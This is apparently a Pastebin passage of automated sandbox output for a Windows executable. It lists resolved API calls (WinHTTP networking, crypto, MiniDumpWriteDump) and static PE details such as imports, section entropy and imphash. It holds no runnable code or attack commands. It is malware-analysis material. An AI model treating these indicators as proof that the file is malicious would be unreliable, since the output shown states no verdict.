  1555. "kernel32.dll.InitOnceExecuteOnce",
  1556. "kernel32.dll.CreateEventExW",
  1557. "kernel32.dll.CreateSemaphoreW",
  1558. "kernel32.dll.CreateSemaphoreExW",
  1559. "kernel32.dll.CreateThreadpoolTimer",
  1560. "kernel32.dll.SetThreadpoolTimer",
  1561. "kernel32.dll.WaitForThreadpoolTimerCallbacks",
  1562. "kernel32.dll.CloseThreadpoolTimer",
  1563. "kernel32.dll.CreateThreadpoolWait",
  1564. "kernel32.dll.SetThreadpoolWait",
  1565. "kernel32.dll.CloseThreadpoolWait",
  1566. "kernel32.dll.FlushProcessWriteBuffers",
  1567. "kernel32.dll.FreeLibraryWhenCallbackReturns",
  1568. "kernel32.dll.GetCurrentProcessorNumber",
  1569. "kernel32.dll.CreateSymbolicLinkW",
  1570. "kernel32.dll.GetTickCount64",
  1571. "kernel32.dll.GetFileInformationByHandleEx",
  1572. "kernel32.dll.SetFileInformationByHandle",
  1573. "kernel32.dll.InitializeConditionVariable",
  1574. "kernel32.dll.WakeConditionVariable",
  1575. "kernel32.dll.WakeAllConditionVariable",
  1576. "kernel32.dll.SleepConditionVariableCS",
  1577. "kernel32.dll.InitializeSRWLock",
  1578. "kernel32.dll.AcquireSRWLockExclusive",
  1579. "kernel32.dll.TryAcquireSRWLockExclusive",
  1580. "kernel32.dll.ReleaseSRWLockExclusive",
  1581. "kernel32.dll.SleepConditionVariableSRW",
  1582. "kernel32.dll.CreateThreadpoolWork",
  1583. "kernel32.dll.SubmitThreadpoolWork",
  1584. "kernel32.dll.CloseThreadpoolWork",
  1585. "kernel32.dll.CompareStringEx",
  1586. "kernel32.dll.GetLocaleInfoEx",
  1587. "goopdate.dll.DllEntry",
  1588. "kernel32.dll.RtlCaptureStackBackTrace",
  1589. "wkscli.dll.NetWkstaGetInfo",
  1590. "cscapi.dll.CscNetApiGetInterface",
  1591. "ntmarta.dll.GetMartaExtensionInterface",
  1592. "kernel32.dll.CreateMutexExW",
  1593. "dbghelp.dll.MiniDumpWriteDump",
  1594. "rpcrt4.dll.UuidCreate",
  1595. "cryptsp.dll.CryptGenRandom",
  1596. "psmachine.dll.DllGetClassObject",
  1597. "psmachine.dll.DllCanUnloadNow",
  1598. "advapi32.dll.RegOpenKeyW",
  1599. "ntdll.dll.RtlGetVersion",
  1600. "kernel32.dll.GetNativeSystemInfo",
  1601. "winhttp.dll.WinHttpAddRequestHeaders",
  1602. "winhttp.dll.WinHttpCheckPlatform",
  1603. "winhttp.dll.WinHttpCloseHandle",
  1604. "winhttp.dll.WinHttpConnect",
  1605. "winhttp.dll.WinHttpCrackUrl",
  1606. "winhttp.dll.WinHttpCreateUrl",
  1607. "winhttp.dll.WinHttpDetectAutoProxyConfigUrl",
  1608. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  1609. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  1610. "winhttp.dll.WinHttpGetProxyForUrl",
  1611. "winhttp.dll.WinHttpOpen",
  1612. "winhttp.dll.WinHttpOpenRequest",
  1613. "winhttp.dll.WinHttpQueryAuthSchemes",
  1614. "winhttp.dll.WinHttpQueryDataAvailable",
  1615. "winhttp.dll.WinHttpQueryHeaders",
  1616. "winhttp.dll.WinHttpQueryOption",
  1617. "winhttp.dll.WinHttpReadData",
  1618. "winhttp.dll.WinHttpReceiveResponse",
  1619. "winhttp.dll.WinHttpSendRequest",
  1620. "winhttp.dll.WinHttpSetDefaultProxyConfiguration",
  1621. "winhttp.dll.WinHttpSetCredentials",
  1622. "winhttp.dll.WinHttpSetOption",
  1623. "winhttp.dll.WinHttpSetStatusCallback",
  1624. "winhttp.dll.WinHttpSetTimeouts",
  1625. "winhttp.dll.WinHttpWriteData",
  1626. "shlwapi.dll.StrCmpNW",
  1627. "shlwapi.dll.#153",
  1628. "ws2_32.dll.#9",
  1629. "ws2_32.dll.#6",
  1630. "ws2_32.dll.#5",
  1631. "schannel.dll.SpUserModeInitialize",
  1632. "advapi32.dll.RegCreateKeyExW",
  1633. "advapi32.dll.RegQueryValueExW",
  1634. "advapi32.dll.RegCloseKey",
  1635. "ws2_32.dll.WSASend",
  1636. "ws2_32.dll.WSARecv",
  1637. "advapi32.dll.RevertToSelf",
  1638. "secur32.dll.FreeContextBuffer",
  1639. "ncrypt.dll.SslOpenProvider",
  1640. "ncrypt.dll.GetSChannelInterface",
  1641. "bcryptprimitives.dll.GetHashInterface",
  1642. "ncrypt.dll.SslIncrementProviderReferenceCount",
  1643. "ncrypt.dll.SslImportKey",
  1644. "bcryptprimitives.dll.GetCipherInterface",
  1645. "ncrypt.dll.SslLookupCipherSuiteInfo",
  1646. "user32.dll.LoadStringW",
  1647. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  1648. "ncrypt.dll.BCryptGetProperty",
  1649. "ncrypt.dll.BCryptCreateHash",
  1650. "ncrypt.dll.BCryptHashData",
  1651. "ncrypt.dll.BCryptFinishHash",
  1652. "ncrypt.dll.BCryptDestroyHash",
  1653. "crypt32.dll.CertGetCertificateChain",
  1654. "userenv.dll.GetUserProfileDirectoryW",
  1655. "sechost.dll.ConvertSidToStringSidW",
  1656. "sechost.dll.ConvertStringSidToSidW",
  1657. "winsta.dll.WinStationRegisterNotificationEvent",
  1658. "advapi32.dll.CreateWellKnownSid",
  1659. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  1660. "rpcrt4.dll.RpcAsyncInitializeHandle",
  1661. "rpcrt4.dll.NdrAsyncClientCall",
  1662. "cryptsp.dll.CryptAcquireContextA",
  1663. "cryptsp.dll.CryptVerifySignatureA",
  1664. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  1665. "ncrypt.dll.BCryptImportKeyPair",
  1666. "ncrypt.dll.BCryptVerifySignature",
  1667. "ncrypt.dll.BCryptDestroyKey",
  1668. "crypt32.dll.CertVerifyCertificateChainPolicy",
  1669. "crypt32.dll.CertFreeCertificateChain",
  1670. "crypt32.dll.CertDuplicateCertificateContext",
  1671. "ncrypt.dll.SslEncryptPacket",
  1672. "ncrypt.dll.SslDecryptPacket",
  1673. "kernel32.dll.WTSGetActiveConsoleSessionId",
  1674. "winsta.dll.WinStationQueryInformationW",
  1675. "rpcrt4.dll.I_RpcExceptionFilter",
  1676. "rpcrt4.dll.RpcBindingFree",
  1677. "kernel32.dll.IsWow64Process",
  1678. "psapi.dll.GetProcessImageFileNameW",
  1679. "oleaut32.dll.#500",
  1680. "crypt32.dll.CertFreeCertificateContext",
  1681. "ncrypt.dll.SslFreeObject"
  1682. ]
  1683.  
  1684. [*] Static Analysis: {
  1685. "pe": {
  1686. "peid_signatures": null,
  1687. "imports": [
  1688. {
  1689. "imports": [
  1690. {
  1691. "name": "SetEndOfFile",
  1692. "address": "0x43c054"
  1693. },
  1694. {
  1695. "name": "SetStdHandle",
  1696. "address": "0x43c058"
  1697. },
  1698. {
  1699. "name": "CreateFileA",
  1700. "address": "0x43c05c"
  1701. },
  1702. {
  1703. "name": "FlushFileBuffers",
  1704. "address": "0x43c060"
  1705. },
  1706. {
  1707. "name": "CreateFileW",
  1708. "address": "0x43c064"
  1709. },
  1710. {
  1711. "name": "InterlockedExchange",
  1712. "address": "0x43c068"
  1713. },
  1714. {
  1715. "name": "HeapReAlloc",
  1716. "address": "0x43c06c"
  1717. },
  1718. {
  1719. "name": "IsValidLocale",
  1720. "address": "0x43c070"
  1721. },
  1722. {
  1723. "name": "EnumSystemLocalesA",
  1724. "address": "0x43c074"
  1725. },
  1726. {
  1727. "name": "GetLocaleInfoA",
  1728. "address": "0x43c078"
  1729. },
  1730. {
  1731. "name": "GetLocaleInfoW",
  1732. "address": "0x43c07c"
  1733. },
  1734. {
  1735. "name": "GetUserDefaultLCID",
  1736. "address": "0x43c080"
  1737. },
  1738. {
  1739. "name": "GetStringTypeW",
  1740. "address": "0x43c084"
  1741. },
  1742. {
  1743. "name": "LCMapStringW",
  1744. "address": "0x43c088"
  1745. },
  1746. {
  1747. "name": "GetSystemTimeAsFileTime",
  1748. "address": "0x43c08c"
  1749. },
  1750. {
  1751. "name": "GetCurrentProcessId",
  1752. "address": "0x43c090"
  1753. },
  1754. {
  1755. "name": "GetLastError",
  1756. "address": "0x43c094"
  1757. },
  1758. {
  1759. "name": "FindClose",
  1760. "address": "0x43c098"
  1761. },
  1762. {
  1763. "name": "GetFullPathNameW",
  1764. "address": "0x43c09c"
  1765. },
  1766. {
  1767. "name": "FindNextFileA",
  1768. "address": "0x43c0a0"
  1769. },
  1770. {
  1771. "name": "lstrcpyA",
  1772. "address": "0x43c0a4"
  1773. },
  1774. {
  1775. "name": "CreateThread",
  1776. "address": "0x43c0a8"
  1777. },
  1778. {
  1779. "name": "LocalFree",
  1780. "address": "0x43c0ac"
  1781. },
  1782. {
  1783. "name": "WaitForMultipleObjects",
  1784. "address": "0x43c0b0"
  1785. },
  1786. {
  1787. "name": "VirtualAlloc",
  1788. "address": "0x43c0b4"
  1789. },
  1790. {
  1791. "name": "FormatMessageW",
  1792. "address": "0x43c0b8"
  1793. },
  1794. {
  1795. "name": "CreateEventA",
  1796. "address": "0x43c0bc"
  1797. },
  1798. {
  1799. "name": "WideCharToMultiByte",
  1800. "address": "0x43c0c0"
  1801. },
  1802. {
  1803. "name": "GetProcessHeap",
  1804. "address": "0x43c0c4"
  1805. },
  1806. {
  1807. "name": "FindFirstFileA",
  1808. "address": "0x43c0c8"
  1809. },
  1810. {
  1811. "name": "QueryPerformanceCounter",
  1812. "address": "0x43c0cc"
  1813. },
  1814. {
  1815. "name": "GetEnvironmentStringsW",
  1816. "address": "0x43c0d0"
  1817. },
  1818. {
  1819. "name": "FreeEnvironmentStringsW",
  1820. "address": "0x43c0d4"
  1821. },
  1822. {
  1823. "name": "GetModuleFileNameA",
  1824. "address": "0x43c0d8"
  1825. },
  1826. {
  1827. "name": "CloseHandle",
  1828. "address": "0x43c0dc"
  1829. },
  1830. {
  1831. "name": "SetFilePointer",
  1832. "address": "0x43c0e0"
  1833. },
  1834. {
  1835. "name": "DeleteCriticalSection",
  1836. "address": "0x43c0e4"
  1837. },
  1838. {
  1839. "name": "SetHandleCount",
  1840. "address": "0x43c0e8"
  1841. },
  1842. {
  1843. "name": "GetConsoleMode",
  1844. "address": "0x43c0ec"
  1845. },
  1846. {
  1847. "name": "GetConsoleCP",
  1848. "address": "0x43c0f0"
  1849. },
  1850. {
  1851. "name": "ReadFile",
  1852. "address": "0x43c0f4"
  1853. },
  1854. {
  1855. "name": "MultiByteToWideChar",
  1856. "address": "0x43c0f8"
  1857. },
  1858. {
  1859. "name": "LoadLibraryW",
  1860. "address": "0x43c0fc"
  1861. },
  1862. {
  1863. "name": "RtlUnwind",
  1864. "address": "0x43c100"
  1865. },
  1866. {
  1867. "name": "InitializeCriticalSectionAndSpinCount",
  1868. "address": "0x43c104"
  1869. },
  1870. {
  1871. "name": "LeaveCriticalSection",
  1872. "address": "0x43c108"
  1873. },
  1874. {
  1875. "name": "EnterCriticalSection",
  1876. "address": "0x43c10c"
  1877. },
  1878. {
  1879. "name": "WriteFile",
  1880. "address": "0x43c110"
  1881. },
  1882. {
  1883. "name": "HeapCreate",
  1884. "address": "0x43c114"
  1885. },
  1886. {
  1887. "name": "WaitForSingleObject",
  1888. "address": "0x43c118"
  1889. },
  1890. {
  1891. "name": "HeapAlloc",
  1892. "address": "0x43c11c"
  1893. },
  1894. {
  1895. "name": "InitializeCriticalSection",
  1896. "address": "0x43c120"
  1897. },
  1898. {
  1899. "name": "GetTickCount",
  1900. "address": "0x43c124"
  1901. },
  1902. {
  1903. "name": "ExitProcess",
  1904. "address": "0x43c128"
  1905. },
  1906. {
  1907. "name": "HeapSize",
  1908. "address": "0x43c12c"
  1909. },
  1910. {
  1911. "name": "Sleep",
  1912. "address": "0x43c130"
  1913. },
  1914. {
  1915. "name": "GetProcAddress",
  1916. "address": "0x43c134"
  1917. },
  1918. {
  1919. "name": "GetModuleHandleA",
  1920. "address": "0x43c138"
  1921. },
  1922. {
  1923. "name": "GetCurrentThreadId",
  1924. "address": "0x43c13c"
  1925. },
  1926. {
  1927. "name": "SetLastError",
  1928. "address": "0x43c140"
  1929. },
  1930. {
  1931. "name": "GetModuleHandleW",
  1932. "address": "0x43c144"
  1933. },
  1934. {
  1935. "name": "TlsFree",
  1936. "address": "0x43c148"
  1937. },
  1938. {
  1939. "name": "TlsSetValue",
  1940. "address": "0x43c14c"
  1941. },
  1942. {
  1943. "name": "TlsGetValue",
  1944. "address": "0x43c150"
  1945. },
  1946. {
  1947. "name": "TlsAlloc",
  1948. "address": "0x43c154"
  1949. },
  1950. {
  1951. "name": "EncodePointer",
  1952. "address": "0x43c158"
  1953. },
  1954. {
  1955. "name": "DecodePointer",
  1956. "address": "0x43c15c"
  1957. },
  1958. {
  1959. "name": "HeapFree",
  1960. "address": "0x43c160"
  1961. },
  1962. {
  1963. "name": "WriteConsoleW",
  1964. "address": "0x43c164"
  1965. },
  1966. {
  1967. "name": "GetFileType",
  1968. "address": "0x43c168"
  1969. },
  1970. {
  1971. "name": "GetStdHandle",
  1972. "address": "0x43c16c"
  1973. },
  1974. {
  1975. "name": "GetModuleFileNameW",
  1976. "address": "0x43c170"
  1977. },
  1978. {
  1979. "name": "GetCommandLineA",
  1980. "address": "0x43c174"
  1981. },
  1982. {
  1983. "name": "HeapSetInformation",
  1984. "address": "0x43c178"
  1985. },
  1986. {
  1987. "name": "GetStartupInfoW",
  1988. "address": "0x43c17c"
  1989. },
  1990. {
  1991. "name": "RaiseException",
  1992. "address": "0x43c180"
  1993. },
  1994. {
  1995. "name": "TerminateProcess",
  1996. "address": "0x43c184"
  1997. },
  1998. {
  1999. "name": "GetCurrentProcess",
  2000. "address": "0x43c188"
  2001. },
  2002. {
  2003. "name": "UnhandledExceptionFilter",
  2004. "address": "0x43c18c"
  2005. },
  2006. {
  2007. "name": "SetUnhandledExceptionFilter",
  2008. "address": "0x43c190"
  2009. },
  2010. {
  2011. "name": "IsDebuggerPresent",
  2012. "address": "0x43c194"
  2013. },
  2014. {
  2015. "name": "IsProcessorFeaturePresent",
  2016. "address": "0x43c198"
  2017. },
  2018. {
  2019. "name": "GetCPInfo",
  2020. "address": "0x43c19c"
  2021. },
  2022. {
  2023. "name": "InterlockedIncrement",
  2024. "address": "0x43c1a0"
  2025. },
  2026. {
  2027. "name": "InterlockedDecrement",
  2028. "address": "0x43c1a4"
  2029. },
  2030. {
  2031. "name": "GetACP",
  2032. "address": "0x43c1a8"
  2033. },
  2034. {
  2035. "name": "GetOEMCP",
  2036. "address": "0x43c1ac"
  2037. },
  2038. {
  2039. "name": "IsValidCodePage",
  2040. "address": "0x43c1b0"
  2041. }
  2042. ],
  2043. "dll": "KERNEL32.dll"
  2044. },
  2045. {
  2046. "imports": [
  2047. {
  2048. "name": "GetDialogBaseUnits",
  2049. "address": "0x43c1f0"
  2050. },
  2051. {
  2052. "name": "GetPropW",
  2053. "address": "0x43c1f4"
  2054. },
  2055. {
  2056. "name": "DrawFrameControl",
  2057. "address": "0x43c1f8"
  2058. },
  2059. {
  2060. "name": "SetMenu",
  2061. "address": "0x43c1fc"
  2062. },
  2063. {
  2064. "name": "GetCursorPos",
  2065. "address": "0x43c200"
  2066. },
  2067. {
  2068. "name": "EndDialog",
  2069. "address": "0x43c204"
  2070. },
  2071. {
  2072. "name": "CheckMenuItem",
  2073. "address": "0x43c208"
  2074. },
  2075. {
  2076. "name": "SetScrollPos",
  2077. "address": "0x43c20c"
  2078. },
  2079. {
  2080. "name": "GetWindowLongA",
  2081. "address": "0x43c210"
  2082. },
  2083. {
  2084. "name": "SetWindowLongA",
  2085. "address": "0x43c214"
  2086. },
  2087. {
  2088. "name": "SetPropA",
  2089. "address": "0x43c218"
  2090. },
  2091. {
  2092. "name": "GetWindowTextA",
  2093. "address": "0x43c21c"
  2094. },
  2095. {
  2096. "name": "GetForegroundWindow",
  2097. "address": "0x43c220"
  2098. },
  2099. {
  2100. "name": "MoveWindow",
  2101. "address": "0x43c224"
  2102. },
  2103. {
  2104. "name": "GetMenuState",
  2105. "address": "0x43c228"
  2106. },
  2107. {
  2108. "name": "GetDC",
  2109. "address": "0x43c22c"
  2110. },
  2111. {
  2112. "name": "BeginPaint",
  2113. "address": "0x43c230"
  2114. },
  2115. {
  2116. "name": "SetFocus",
  2117. "address": "0x43c234"
  2118. },
  2119. {
  2120. "name": "GetClientRect",
  2121. "address": "0x43c238"
  2122. },
  2123. {
  2124. "name": "EndPaint",
  2125. "address": "0x43c23c"
  2126. },
  2127. {
  2128. "name": "FillRect",
  2129. "address": "0x43c240"
  2130. },
  2131. {
  2132. "name": "DrawTextA",
  2133. "address": "0x43c244"
  2134. },
  2135. {
  2136. "name": "GetParent",
  2137. "address": "0x43c248"
  2138. }
  2139. ],
  2140. "dll": "USER32.dll"
  2141. },
  2142. {
  2143. "imports": [
  2144. {
  2145. "name": "MoveToEx",
  2146. "address": "0x43c01c"
  2147. },
  2148. {
  2149. "name": "GetTextExtentPoint32A",
  2150. "address": "0x43c020"
  2151. },
  2152. {
  2153. "name": "SetViewportOrgEx",
  2154. "address": "0x43c024"
  2155. },
  2156. {
  2157. "name": "SetTextColor",
  2158. "address": "0x43c028"
  2159. },
  2160. {
  2161. "name": "GetDeviceCaps",
  2162. "address": "0x43c02c"
  2163. },
  2164. {
  2165. "name": "CreateFontIndirectA",
  2166. "address": "0x43c030"
  2167. },
  2168. {
  2169. "name": "SelectClipRgn",
  2170. "address": "0x43c034"
  2171. },
  2172. {
  2173. "name": "GetCharWidthA",
  2174. "address": "0x43c038"
  2175. },
  2176. {
  2177. "name": "GetTextMetricsA",
  2178. "address": "0x43c03c"
  2179. },
  2180. {
  2181. "name": "SetTextAlign",
  2182. "address": "0x43c040"
  2183. },
  2184. {
  2185. "name": "SwapBuffers",
  2186. "address": "0x43c044"
  2187. },
  2188. {
  2189. "name": "TextOutA",
  2190. "address": "0x43c048"
  2191. },
  2192. {
  2193. "name": "GetObjectA",
  2194. "address": "0x43c04c"
  2195. }
  2196. ],
  2197. "dll": "GDI32.dll"
  2198. },
  2199. {
  2200. "imports": [
  2201. {
  2202. "name": "OpenProcessToken",
  2203. "address": "0x43c008"
  2204. }
  2205. ],
  2206. "dll": "ADVAPI32.dll"
  2207. },
  2208. {
  2209. "imports": [
  2210. {
  2211. "name": "CreateClassMoniker",
  2212. "address": "0x43c28c"
  2213. },
  2214. {
  2215. "name": "CoInitialize",
  2216. "address": "0x43c290"
  2217. }
  2218. ],
  2219. "dll": "ole32.dll"
  2220. },
  2221. {
  2222. "imports": [
  2223. {
  2224. "name": "StrStrIW",
  2225. "address": "0x43c1e4"
  2226. },
  2227. {
  2228. "name": "ColorRGBToHLS",
  2229. "address": "0x43c1e8"
  2230. }
  2231. ],
  2232. "dll": "SHLWAPI.dll"
  2233. },
  2234. {
  2235. "imports": [
  2236. {
  2237. "name": "acmDriverDetailsA",
  2238. "address": "0x43c1b8"
  2239. }
  2240. ],
  2241. "dll": "MSACM32.dll"
  2242. },
  2243. {
  2244. "imports": [
  2245. {
  2246. "name": "waveOutWrite",
  2247. "address": "0x43c258"
  2248. },
  2249. {
  2250. "name": "waveInClose",
  2251. "address": "0x43c25c"
  2252. },
  2253. {
  2254. "name": "waveOutUnprepareHeader",
  2255. "address": "0x43c260"
  2256. },
  2257. {
  2258. "name": "waveInStart",
  2259. "address": "0x43c264"
  2260. },
  2261. {
  2262. "name": "waveOutPrepareHeader",
  2263. "address": "0x43c268"
  2264. },
  2265. {
  2266. "name": "waveOutOpen",
  2267. "address": "0x43c26c"
  2268. },
  2269. {
  2270. "name": "waveInUnprepareHeader",
  2271. "address": "0x43c270"
  2272. },
  2273. {
  2274. "name": "waveInPrepareHeader",
  2275. "address": "0x43c274"
  2276. },
  2277. {
  2278. "name": "waveInAddBuffer",
  2279. "address": "0x43c278"
  2280. },
  2281. {
  2282. "name": "waveOutSetVolume",
  2283. "address": "0x43c27c"
  2284. },
  2285. {
  2286. "name": "waveInOpen",
  2287. "address": "0x43c280"
  2288. },
  2289. {
  2290. "name": "waveOutClose",
  2291. "address": "0x43c284"
  2292. }
  2293. ],
  2294. "dll": "WINMM.dll"
  2295. },
  2296. {
  2297. "imports": [
  2298. {
  2299. "name": "CreateToolbarEx",
  2300. "address": "0x43c010"
  2301. },
  2302. {
  2303. "name": "ImageList_GetIconSize",
  2304. "address": "0x43c014"
  2305. }
  2306. ],
  2307. "dll": "COMCTL32.dll"
  2308. },
  2309. {
  2310. "imports": [
  2311. {
  2312. "name": null,
  2313. "address": "0x43c000"
  2314. }
  2315. ],
  2316. "dll": "ACTIVEDS.dll"
  2317. },
  2318. {
  2319. "imports": [
  2320. {
  2321. "name": "PdhGetRawCounterValue",
  2322. "address": "0x43c298"
  2323. }
  2324. ],
  2325. "dll": "pdh.dll"
  2326. },
  2327. {
  2328. "imports": [
  2329. {
  2330. "name": "glScalef",
  2331. "address": "0x43c1c8"
  2332. },
  2333. {
  2334. "name": "glColor3f",
  2335. "address": "0x43c1cc"
  2336. },
  2337. {
  2338. "name": "glFlush",
  2339. "address": "0x43c1d0"
  2340. },
  2341. {
  2342. "name": "wglGetCurrentDC",
  2343. "address": "0x43c1d4"
  2344. },
  2345. {
  2346. "name": "glClear",
  2347. "address": "0x43c1d8"
  2348. },
  2349. {
  2350. "name": "glLoadIdentity",
  2351. "address": "0x43c1dc"
  2352. }
  2353. ],
  2354. "dll": "OPENGL32.dll"
  2355. },
  2356. {
  2357. "imports": [
  2358. {
  2359. "name": "DrawThemeBackground",
  2360. "address": "0x43c250"
  2361. }
  2362. ],
  2363. "dll": "UxTheme.dll"
  2364. },
  2365. {
  2366. "imports": [
  2367. {
  2368. "name": "DsListServersForDomainInSiteA",
  2369. "address": "0x43c1c0"
  2370. }
  2371. ],
  2372. "dll": "NTDSAPI.dll"
  2373. }
  2374. ],
  2375. "digital_signers": null,
  2376. "exported_dll_name": null,
  2377. "actual_checksum": "0x000a4a0f",
  2378. "overlay": null,
  2379. "imagebase": "0x00400000",
  2380. "reported_checksum": "0x000a4a0f",
  2381. "icon_hash": null,
  2382. "entrypoint": "0x0040e303",
  2383. "timestamp": "2019-06-19 17:02:05",
  2384. "osversion": "5.1",
  2385. "sections": [
  2386. {
  2387. "name": ".text",
  2388. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  2389. "virtual_address": "0x00001000",
  2390. "size_of_data": "0x0003a600",
  2391. "entropy": "6.61",
  2392. "raw_address": "0x00000400",
  2393. "virtual_size": "0x0003a561",
  2394. "characteristics_raw": "0x60000020"
  2395. },
  2396. {
  2397. "name": ".rdata",
  2398. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  2399. "virtual_address": "0x0003c000",
  2400. "size_of_data": "0x0000da00",
  2401. "entropy": "5.84",
  2402. "raw_address": "0x0003aa00",
  2403. "virtual_size": "0x0000d8d4",
  2404. "characteristics_raw": "0x40000040"
  2405. },
  2406. {
  2407. "name": ".data",
  2408. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  2409. "virtual_address": "0x0004a000",
  2410. "size_of_data": "0x00002000",
  2411. "entropy": "4.12",
  2412. "raw_address": "0x00048400",
  2413. "virtual_size": "0x00004f44",
  2414. "characteristics_raw": "0xc0000040"
  2415. },
  2416. {
  2417. "name": ".rsrc",
  2418. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  2419. "virtual_address": "0x0004f000",
  2420. "size_of_data": "0x0004b600",
  2421. "entropy": "7.68",
  2422. "raw_address": "0x0004a400",
  2423. "virtual_size": "0x0004b4d0",
  2424. "characteristics_raw": "0x40000040"
  2425. },
  2426. {
  2427. "name": ".reloc",
  2428. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ",
  2429. "virtual_address": "0x0009b000",
  2430. "size_of_data": "0x00005600",
  2431. "entropy": "4.80",
  2432. "raw_address": "0x00095a00",
  2433. "virtual_size": "0x0000e59c",
  2434. "characteristics_raw": "0x42000040"
  2435. }
  2436. ],
  2437. "resources": [],
  2438. "dirents": [
  2439. {
  2440. "virtual_address": "0x00000000",
  2441. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  2442. "size": "0x00000000"
  2443. },
  2444. {
  2445. "virtual_address": "0x000489dc",
  2446. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  2447. "size": "0x0000012c"
  2448. },
  2449. {
  2450. "virtual_address": "0x0004f000",
  2451. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  2452. "size": "0x0004b4d0"
  2453. },
  2454. {
  2455. "virtual_address": "0x00000000",
  2456. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  2457. "size": "0x00000000"
  2458. },
  2459. {
  2460. "virtual_address": "0x00000000",
  2461. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  2462. "size": "0x00000000"
  2463. },
  2464. {
  2465. "virtual_address": "0x0009b000",
  2466. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  2467. "size": "0x00003298"
  2468. },
  2469. {
  2470. "virtual_address": "0x00000000",
  2471. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  2472. "size": "0x00000000"
  2473. },
  2474. {
  2475. "virtual_address": "0x00000000",
  2476. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  2477. "size": "0x00000000"
  2478. },
  2479. {
  2480. "virtual_address": "0x00000000",
  2481. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  2482. "size": "0x00000000"
  2483. },
  2484. {
  2485. "virtual_address": "0x00000000",
  2486. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  2487. "size": "0x00000000"
  2488. },
  2489. {
  2490. "virtual_address": "0x000457a0",
  2491. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  2492. "size": "0x00000040"
  2493. },
  2494. {
  2495. "virtual_address": "0x00000000",
  2496. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  2497. "size": "0x00000000"
  2498. },
  2499. {
  2500. "virtual_address": "0x0003c000",
  2501. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  2502. "size": "0x000002a0"
  2503. },
  2504. {
  2505. "virtual_address": "0x00000000",
  2506. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  2507. "size": "0x00000000"
  2508. },
  2509. {
  2510. "virtual_address": "0x00000000",
  2511. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  2512. "size": "0x00000000"
  2513. },
  2514. {
  2515. "virtual_address": "0x00000000",
  2516. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  2517. "size": "0x00000000"
  2518. }
  2519. ],
  2520. "exports": [],
  2521. "guest_signers": {},
  2522. "imphash": "0d98e429750d147cbe3d14adf4f88669",
  2523. "icon_fuzzy": null,
  2524. "icon": null,
  2525. "pdbpath": null,
  2526. "imported_dll_count": 14,
  2527. "versioninfo": []
  2528. }
  2529. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!